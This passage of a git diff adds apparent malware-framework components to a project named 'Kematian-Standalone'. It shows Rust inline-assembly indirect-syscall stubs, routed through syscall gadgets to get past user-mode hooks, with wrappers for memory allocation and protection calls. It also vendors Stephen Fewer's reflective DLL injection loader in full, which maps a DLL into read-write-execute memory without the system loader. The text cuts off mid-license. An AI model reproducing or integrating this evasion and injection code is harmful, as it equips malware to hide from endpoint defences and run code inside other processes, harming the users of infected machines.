(args 5/6 via kernel stack slots). +/// Stores land at [rsp+0x18]/[rsp+0x20]; two pushes shift rsp down 0x10 so +/// they sit at kernel-required [rsp+0x28]/[rsp+0x30] at syscall time. +#[inline] +pub unsafe fn sys_indirect6( + num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, +) -> i32 { + let (sg, rg) = gadgets(); + if sg == 0 { + let status: i32; + asm!( + "sub rsp, 0x30", + "mov [rsp+0x28], r13", + "mov [rsp+0x30], r14", + "mov r10, rcx", + "mov eax, r12d", + "syscall", + "add rsp, 0x30", + in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4, + in("r12") num, in("r13") a5, in("r14") a6, + lateout("rax") status, + options(nostack), + ); + return status; + } + let status: i32; + asm!( + "sub rsp, 0x28", + "mov [rsp+0x18], r13", // -> kernel slot [rsp+0x28] post-push + "mov [rsp+0x20], r14", // -> kernel slot [rsp+0x30] post-push + "mov r10, rcx", + "mov eax, r12d", + "lea rcx, [rip+2f]", + "push rcx", + "mov r11, rsi", + "push r11", + "jmp rdi", + "2:", + "add rsp, 0x28", + in("rcx") a1, + in("rdx") a2, + in("r8") a3, + in("r9") a4, + in("rdi") sg, + in("rsi") rg, + in("r12") num, + in("r13") a5, + in("r14") a6, + lateout("rax") status, + out("r11") _, + ); + status +} + +/// 5-arg indirect syscall (arg 5 on kernel stack slot). +/// Store at [rsp+0x08]; two pushes shift rsp by 0x10 so it lands at +/// kernel-required [rsp+0x28] at syscall time. +#[inline] +pub unsafe fn sys_indirect5( + num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, +) -> i32 { + let (sg, rg) = gadgets(); + if sg == 0 { + let status: i32; + asm!( + "sub rsp, 0x28", + "mov [rsp+0x28], r13", + "mov r10, rcx", + "mov eax, r12d", + "syscall", + "add rsp, 0x28", + in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4, + in("r12") num, in("r13") a5, + lateout("rax") status, + options(nostack), + ); + return status; + } + let status: i32; + asm!( + "sub rsp, 0x18", + "mov [rsp+0x08], r13", // -> kernel slot [rsp+0x28] post-push + "mov r10, rcx", + "mov eax, r12d", + "lea rcx, [rip+2f]", + "push rcx", + "mov r11, rsi", + "push r11", + "jmp rdi", + "2:", + "add rsp, 0x18", + in("rcx") a1, + in("rdx") a2, + in("r8") a3, + in("r9") a4, + in("rdi") sg, + in("rsi") rg, + in("r12") num, + in("r13") a5, + lateout("rax") status, + out("r11") _, + ); + status +} + +// --------------------------------------------------------------------------- +// Typed public wrappers +// --------------------------------------------------------------------------- + +#[inline] +fn current_process() -> usize { + usize::MAX // (HANDLE)-1 pseudo-handle +} + +pub unsafe fn sys_nt_protect_virtual_memory( + process_handle: usize, + base_address: *mut *mut c_void, + region_size: *mut usize, + new_protect: u32, + old_protect: *mut u32, +) -> i32 { + let num = get_syscall_numbers().nt_protect_virtual_memory as u32; + if num == 0 { return -1; } + sys_indirect6(num, process_handle, base_address as usize, region_size as usize, + new_protect as usize, 0, old_protect as usize) +} + +pub unsafe fn sys_nt_allocate_virtual_memory( + process_handle: usize, + base_address: *mut *mut c_void, + zero_bits: usize, + region_size: *mut usize, + allocation_type: u32, + protect: u32, +) -> i32 { + let num = get_syscall_numbers().nt_allocate_virtual_memory as u32; + if num == 0 { return -1; } + sys_indirect6(num, process_handle, base_address as usize, zero_bits, + region_size as usize, allocation_type as usize, protect as usize) +} + +pub unsafe fn sys_nt_free_virtual_memory( + process_handle: usize, + base_address: *mut *mut c_void, + region_size: *mut usize, + free_type: u32, +) -> i32 { + let num = get_syscall_numbers().nt_free_virtual_memory as u32; + if num == 0 { return -1; } + sys_indirect4(num, process_handle, base_address as usize, region_size as usize, free_type as usize) +} + +pub unsafe fn sys_nt_query_information_process( + process_handle: usize, + info_class: u32, + info: *mut c_void, + info_len: u32, + return_len: *mut u32, +) -> i32 { + let num = get_syscall_numbers().nt_query_information_process as u32; + if num == 0 { return -1; } + sys_indirect5(num, process_handle, info_class as usize, info as usize, + info_len as usize, return_len as usize) +} + +pub unsafe fn sys_nt_set_information_process( + process_handle: usize, + info_class: u32, + info: *mut c_void, + info_len: u32, +) -> i32 { + let num = get_syscall_numbers().nt_set_information_process as u32; + if num == 0 { return -1; } + sys_indirect4(num, process_handle, info_class as usize, info as usize, info_len as usize) +} + +pub unsafe fn sys_nt_query_system_information( + info_class: u32, + info: *mut c_void, + info_len: usize, + return_len: *mut usize, +) -> i32 { + let num = get_syscall_numbers().nt_query_system_information as u32; + if num == 0 { return -1; } + sys_indirect4(num, info_class as usize, info as usize, info_len, return_len as usize) +} + +pub unsafe fn sys_nt_query_virtual_memory( + process_handle: usize, + base_address: *const c_void, + info_class: u32, + info: *mut c_void, + info_len: usize, + return_len: *mut usize, +) -> i32 { + let num = get_syscall_numbers().nt_query_virtual_memory as u32; + if num == 0 { return -1; } + sys_indirect6(num, process_handle, base_address as usize, info_class as usize, + info as usize, info_len, return_len as usize) +} + +pub unsafe fn sys_nt_delay_execution(alertable: u32, interval: *const i64) -> i32 { + let num = get_syscall_numbers().nt_delay_execution as u32; + if num == 0 { return -1; } + sys_indirect4(num, alertable as usize, interval as usize, 0, 0) +} + +/// Current-process pseudo-handle helper for external users. +pub fn cur_process() -> usize { + current_process() +} diff --git a/Kematian-Standalone/vendor/injection/ReflectiveDLLInjection.h b/Kematian-Standalone/vendor/injection/ReflectiveDLLInjection.h new file mode 100644 index 0000000..72fd96b --- /dev/null +++ b/Kematian-Standalone/vendor/injection/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); +typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/Kematian-Standalone/vendor/injection/ReflectiveLoader.c b/Kematian-Standalone/vendor/injection/ReflectiveLoader.c new file mode 100644 index 0000000..900e436 --- /dev/null +++ b/Kematian-Standalone/vendor/injection/ReflectiveLoader.c @@ -0,0 +1,516 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +// Store the parameter passed to ReflectiveLoader so DllMain can access it +LPVOID g_lpReflectiveParameter = NULL; +//===============================================================================================// +#ifdef _MSC_VER +#pragma intrinsic(_ReturnAddress) +#define RDI_NOINLINE __declspec(noinline) +#else +#define RDI_NOINLINE __attribute__((noinline)) +#endif + +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +RDI_NOINLINE ULONG_PTR caller(VOID) +{ +#ifdef _MSC_VER + return (ULONG_PTR)_ReturnAddress(); +#elif defined(__GNUC__) || defined(__clang__) + // For MinGW/Clang, use GCC builtins and extract helper for target-specific safety. + return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0)); +#else + return 0; +#endif +} +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while (TRUE) + { + if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword(0x60); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword(0x30); +#else WIN_ARM + uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while (uiValueA) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror((DWORD)uiValueC); + // normalize to uppercase if the madule name is in lowercase + if (*((BYTE*)uiValueB) >= 'a') + uiValueC += *((BYTE*)uiValueB) - 0x20; + else + uiValueC += *((BYTE*)uiValueB); + uiValueB++; + } while (--usCounter); + + // compare the hash with that of kernel32.dll + if ((DWORD)uiValueC == KERNEL32DLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 3; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == LOADLIBRARYA_HASH) + pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == GETPROCADDRESS_HASH) + pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == VIRTUALALLOC_HASH) + pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if ((DWORD)uiValueC == NTDLLDLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 1; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) + break; + + // get the next entry + uiValueA = DEREF(uiValueA); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while (uiValueA--) + *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while (uiValueE--) + { + // uiValueB is the VA for this section + uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); + + // uiValueC if the VA for this sections data + uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while (uiValueD--) + *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof(IMAGE_SECTION_HEADER); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // itterate through all imports + while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); + + // itterate through all imported functions, importing by ordinal if no name present + while (DEREF(uiValueA)) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of addresses + uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); + + // patch in the address for this imported function + DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); + } + else + { + // get the VA of this functions import by name struct + uiValueB = (uiBaseAddress + DEREF(uiValueA)); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); + } + // get the next imported function + uiValueA += sizeof(ULONG_PTR); + if (uiValueD) + uiValueD += sizeof(ULONG_PTR); + } + + // get the next import + uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + // check if their are any relocations present + if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // and we itterate through all entries... + while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) + { + // uiValueA = the VA for this relocation block + uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); + + // uiValueB = number of entries in this relocation block + uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while (uiValueB--) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) + *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) + *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + // sanity chack we are processing a MOV instruction... + if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)(dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + } + } +#endif + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) + *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) + *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof(IMAGE_RELOC); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache((HANDLE)-1, NULL, 0); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // Store the parameter globally so DllMain can access it + g_lpReflectiveParameter = lpParameter; + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE*)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/Kematian-Standalone/vendor/injection/ReflectiveLoader.h b/Kematian-Standalone/vendor/injection/ReflectiveLoader.h new file mode 100644 index 0000000..3e13533 --- /dev/null +++ b/Kematian-Standalone/vendor/injection/ReflectiveLoader.h @@ -0,0 +1,215 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or 